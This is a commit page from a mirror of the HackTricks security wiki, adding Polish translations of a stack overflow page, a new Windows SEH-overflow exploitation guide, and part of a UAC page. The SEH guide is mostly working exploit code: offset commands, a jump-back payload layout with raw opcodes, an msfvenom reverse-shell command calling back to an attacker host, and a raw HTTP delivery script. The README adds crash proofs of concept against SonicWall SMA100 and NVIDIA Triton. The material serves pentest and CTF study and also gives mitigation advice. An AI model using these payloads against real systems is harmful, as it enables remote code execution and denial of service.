maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/stack-overflow/README.md', 'src/win

Browse Source
This commit is contained in:
Translator 2025-08-28 20:22:24 +00:00
parent 79f5065be8
commit ce4f30dc2b
4 changed files with 325 additions and 120 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -779,6 +779,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

97
src/binary-exploitation/stack-overflow/README.md
View File

@ -4,13 +4,13 @@
## Co to jest Stack Overflow
A **stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
A **stack overflow** to luka, która występuje, gdy program zapisuje na stos więcej danych niż zostało mu na to przydzielone. Ten nadmiar danych **nadpisze sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia prawidłowych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania ograniczeń (bounds checking) dla danych wejściowych.
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
Głównym problemem tego nadpisania jest to, że **saved instruction pointer (EIP/RIP)** oraz **saved base pointer (EBP/RBP)**, używane do powrotu do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**.
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.
Luka zwykle powstaje, ponieważ funkcja **kopiuje na stos więcej bajtów niż zostało dla niej przydzielone**, umożliwiając tym samym nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż przydzielona.
Na przykład, następujące funkcje mogą być podatne:
```c
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Znajdowanie przesunięć przepełnienia stosu
### Finding Stack Overflows offsets
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Najczęstszym sposobem wykrywania Stack Overflows jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **próbowano uzyskać dostęp do adresu `0x41414141`**.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Bruijn.** Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako kontiguująca podsekwencja.
Ponadto, gdy już stwierdzisz istnienie podatności Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address** — do tego zwykle używa się **De Bruijn sequence.** Dla zadanego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest to **cykliczna sekwencja, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako spójny podciąg.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie.
Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z takich sekwencji, a następnie znaleźć offset bajtów, które ją nadpisały.
Można użyć **pwntools** do tego:
Do tego można użyć **pwntools** dla tego:
```python
from pwn import *
@ -48,48 +48,62 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Wykorzystywanie przepełnień stosu
## Wykorzystywanie Stack Overflows
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
Najczęstszym sposobem nadużycia tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **nadpisać** wartości zmiennych lokalnych na stacku aż do zapisanych **EBP/RBP and EIP/RIP (or even more)**.\
Najczęstszym sposobem nadużycia tego typu podatności jest **zmodyfikowanie adresu powrotu**, tak aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatacji (np. w prostych zadaniach CTF).
### Ret2win
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana:
W tego typu zadaniach CTF istnieje **function** **inside** the binary, która **never called** i którą **musisz wywołać, aby wygrać**. W tych zadaniach wystarczy znaleźć **offset to overwrite the return address** oraz **find the address of the function** do wywołania (zazwyczaj [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), tak aby po zwróceniu się podatnej funkcji została wywołana ukryta funkcja:
{{#ref}}
ret2win/
{{#endref}}
### Shellcode na stosie
### Stack Shellcode
W tym scenariuszu atakujący może umieścić shellcode na stacku i użyć kontrolowanego EIP/RIP, aby skoczyć do shellcode'a i wykonać dowolny kod:
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
{{#ref}}
stack-shellcode/
{{#endref}}
### Techniki ROP i Ret2...
### Windows SEH-based exploitation (nSEH/SEH)
Na 32-bitowym Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego adresu powrotu. Eksploatacja zazwyczaj zastępuje wskaźnik SEH gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby wrócić do dużego bufora, w którym znajduje się shellcode. Powszechny wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochronę przeciwko poprzedniej technice: **No executable stack (NX)**. Pozwala też wykonać kilka innych technik (ret2lib, ret2syscall...), które finalnie uruchomią dowolne polecenia wykorzystując istniejące instrukcje w binarce:
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Przepełnienia sterty
## Heap Overflows
Overflow nie zawsze będzie w stacku, może być również w **heap** na przykład:
Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w **stercie**, na przykład:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Typy ochrony
## Rodzaje zabezpieczeń
Istnieje kilka zabezpieczeń próbujących zapobiegać eksploatacji podatności — sprawdź je w:
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
{{#ref}}
../common-binary-protections-and-bypasses/
@ -97,8 +111,7 @@ Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, s
### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100)
Dobrą demonstracją, dlaczego **`sscanf` nigdy nie powinno być ufane przy analizowaniu nieufnych danych wejściowych**, pojawiła się w 2025 roku w urządzeniu SSL-VPN SonicWall SMA100.
Podatna rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i punkt końcowy z dowolnego URI, które zaczyna się od `/__api__/`:
Dobre pokazanie, dlaczego **`sscanf` should never be trusted for parsing untrusted input**, pojawiło się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN. Podatna procedura wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i endpoint z dowolnego URI, które zaczyna się od `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
@ -107,23 +120,24 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`).
2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**.
3. Ponieważ `endpoint` znajduje się na **stosie** i ma **0x800 bajtów długości**, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **zapisany adres powrotu**.
3. Ponieważ `endpoint` znajduje się na **stack** i ma długość **0x800 bajtów**, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **saved return address**.
Jedna linia dowodu koncepcji wystarczy, aby wywołać awarię **przed uwierzytelnieniem**:
Wystarczy jedno-liniowy proof-of-concept, aby wywołać crash **before authentication**:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta:
Mimo że stack canaries przerywają proces, atakujący i tak uzyskuje prymityw **Denial-of-Service** (a przy dodatkowych information leaks, możliwe jest code-execution). Wniosek jest prosty:
* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`).
* Zawsze określaj **maksymalną szerokość pola** (np. `%511s`).
* Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`.
### Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server)
### Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Serwer wnioskowania NVIDIA Triton (≤ v25.06) zawierał wiele **przepełnień stosu** dostępnych przez jego API HTTP. Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele **stack-based overflows** dostępnych przez jego HTTP API.
Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -133,11 +147,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą aktualne ciało żądania HTTP.
2. Każdy segment powoduje, że **16-bajtowy** `evbuffer_iovec` jest alokowany na **stosie** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**.
3. Wykorzystując **HTTP _chunked transfer-encoding_**, klient może wymusić podział żądania na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stos zostanie wyczerpany.
1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą bieżące ciało żądania HTTP.
2. Każdy segment powoduje alokację **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**.
3. Nadużywając **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie nieograniczenie aż do wyczerpania stack.
#### Proof-of-Concept (DoS)
#### Dowód koncepcji (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -161,10 +175,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB request wystarczy, aby nadpisać zapisany adres powrotu i **crash** daemona w domyślnej wersji.
Żądanie o wielkości ~3 MB wystarczy, aby nadpisać saved return address i **crash** daemona na default build.
#### Patch & Mitigation
Wersja 25.07 zastępuje niebezpieczne przydzielanie stosu **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`:
#### Poprawka i środki zaradcze
Wydanie 25.07 zastępuje unsafe stack allocation za pomocą **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -174,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lekcje wyniesione:
Wnioski:
* Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego.
* Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera.
* Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta *przed* ich użyciem w alokacjach pamięci.
* Żądania chunked mogą drastycznie zmienić kształt buforów po stronie serwera.
* Zwaliduj / ogranicz każdą wartość pochodzącą od klienta *zanim* użyjesz jej do alokacji pamięci.
## Odniesienia
## Źródła
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}

150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md Normal file
View File

@ -0,0 +1,150 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation to klasyczna technika x86 na Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy overflow bufora na stosie nadpisze dwa 4-bajtowe pola
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
atakujący może przejąć kontrolę nad wykonaniem poprzez:
1) Ustawienie SEH na adres POP POP RET gadget w module bez ochrony, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz
2) Użycie nSEH do przekierowania wykonania (zazwyczaj krótki skok) z powrotem do dużego przepełniającego bufora, gdzie znajduje się shellcode.
Ta technika dotyczy specyficznie procesów 32-bitowych (x86). Na nowoczesnych systemach preferuj moduł bez SafeSEH i ASLR dla gadgetu. Bad characters często obejmują 0x00, 0x0a, 0x0d (NUL/CR/LF) z powodu C-strings i parsowania HTTP.
---
## Finding exact offsets (nSEH / SEH)
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Zweryfikuj, umieszczając markery w tych pozycjach (np., nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość, aby awaria była powtarzalna.
---
## Wybór POP POP RET (SEH gadget)
Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do swoich bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR:
- Mona (Immunity/WinDbg): `!mona modules` następnie `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` aby wypisać POP POP RET gadgets i status SafeSEH.
Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np., `p32(0x004094D8)`). Preferuj gadgets wewnątrz podatnego pliku binarnego, jeśli zabezpieczenia to umożliwiają.
---
## Technika jump-back (short + near jmp)
nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz przeskoczyć wstecz setki bajtów, aby dotrzeć do początku bufora, użyj 5-bajtowego near jump umieszczonego bezpośrednio przed nSEH i połącz go short jumpem z nSEH.
Za pomocą nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
Pomysł układu dla payloadu o rozmiarze 1000 bajtów z nSEH na offset 660:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Execution flow:
- Występuje wyjątek, dispatcher używa nadpisanego SEH.
- POP POP RET powoduje przejście do naszego nSEH.
- nSEH wykonuje `jmp short -8` do 5-bajtowego near jump.
- Near jump ląduje na początku naszego bufora, gdzie znajduje się NOP sled + shellcode.
---
## Bad characters
Utwórz pełny badchar string i porównaj pamięć stosu po awarii, usuwając bajty, które są zniekształcane przez parser docelowy. Dla przepełnień opartych na HTTP, `\x00\x0a\x0d` są prawie zawsze wykluczone.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode generation (x86)
Użyj msfvenom z własnymi badchars. Mały NOP sled pomaga tolerować odchylenia miejsca trafienia.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Jeśli generujesz na bieżąco, format hex jest wygodny do osadzania i unhex w Pythonie:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Dostarczanie przez HTTP (dokładne CRLF + Content-Length)
Gdy wektorem podatności jest ciało żądania HTTP, skonstruuj surowe żądanie z dokładnymi CRLFs i Content-Length, aby serwer odczytał całe przepełniające się ciało żądania.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## Narzędzia
- x32dbg/x64dbg do obserwacji łańcucha SEH i analizy awarii.
- ERC.Xdbg (wtyczka x64dbg) do enumeracji SEH gadgets: `ERC --SEH`.
- Mona jako alternatywa: `!mona modules`, `!mona seh`.
- nasmshell do składania short/near jumps i kopiowania raw opcodes.
- pwntools do tworzenia precyzyjnych network payloads.
---
## Uwagi i zastrzeżenia
- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i eksploatacja oparta na SEH na ogół nie jest wykonalna.
- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany w procesie.
- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iteracyjne tworzenie exploitów.
## Referencje
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}

197
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,49 +1,50 @@
# UAC - Kontrola Konta Użytkownika
# UAC - Kontrola konta użytkownika
{{#include ../../banners/hacktricks-training.md}}
## UAC
[Kontrola Konta Użytkownika (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie komunikatu o zgodzie na podwyższone działania**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **mogą potencjalnie zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **działają w kontekście bezpieczeństwa konta nie-administratora**, chyba że administrator wyraźnie autoryzuje te aplikacje/zadania do uzyskania dostępu na poziomie administratora w celu ich uruchomienia. Jest to funkcja ułatwiająca, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia wyświetlanie **okna potwierdzenia przy akcjach wymagających uprawnień podwyższonych**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **potencjalnie mogą zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **uruchamiają się w kontekście konta bez uprawnień administratora**, chyba że administrator eksplicitnie przyzna tym aplikacjom/zadaniom dostęp na poziomie administratora. To funkcja ułatwiająca pracę, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa.
For more info about integrity levels:
Aby uzyskać więcej informacji na temat poziomów integralności:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
Gdy UAC jest aktywne, użytkownik z uprawnieniami administratora otrzymuje 2 tokeny: standardowy klucz użytkownika, aby wykonywać regularne działania na poziomie zwykłym, oraz jeden z uprawnieniami administratora.
Gdy UAC jest aktywne, konto administratora otrzymuje 2 tokeny: jeden standardowy do wykonywania zwykłych działań na poziomie zwykłego użytkownika oraz drugi z uprawnieniami administratora.
Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) szczegółowo omawia, jak działa UAC, w tym proces logowania, doświadczenie użytkownika i architekturę UAC. Administratorzy mogą używać polityk bezpieczeństwa do konfigurowania, jak UAC działa w ich organizacji na poziomie lokalnym (używając secpol.msc) lub konfigurować i wdrażać za pomocą Obiektów Polityki Grupowej (GPO) w środowisku domeny Active Directory. Różne ustawienia są szczegółowo omówione [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Polityki Grupowej, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) opisuje działanie UAC bardzo szczegółowo i obejmuje proces logowania, doświadczenie użytkownika oraz architekturę UAC. Administratorzy mogą używać zasad bezpieczeństwa do skonfigurowania sposobu działania UAC lokalnie (przy użyciu secpol.msc) lub konfigurować i dystrybuować ustawienia przez Group Policy Objects (GPO) w środowisku Active Directory. Różne ustawienia są omówione szczegółowo [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Group Policy, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
| Ustawienie Polityki Grupowej | Klucz Rejestru | Ustawienie Domyślne |
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Kontrola Konta Użytkownika: Tryb Zatwierdzania Administratora dla wbudowanego konta Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Wyłączone |
| [Kontrola Konta Użytkownika: Zezwól aplikacjom UIAccess na wyświetlanie komunikatu o podwyższeniu bez użycia bezpiecznego pulpitu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Wyłączone |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prośba o zgodę dla nie-Windowsowych binariów |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prośba o dane uwierzytelniające na bezpiecznym pulpicie |
| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i prośba o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślne dla domów) Wyłączone (domyślne dla przedsiębiorstw) |
| [Kontrola Konta Użytkownika: Tylko podwyższaj wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Wyłączone |
| [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Włączone |
| [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Włączone |
| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas proszenia o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Włączone |
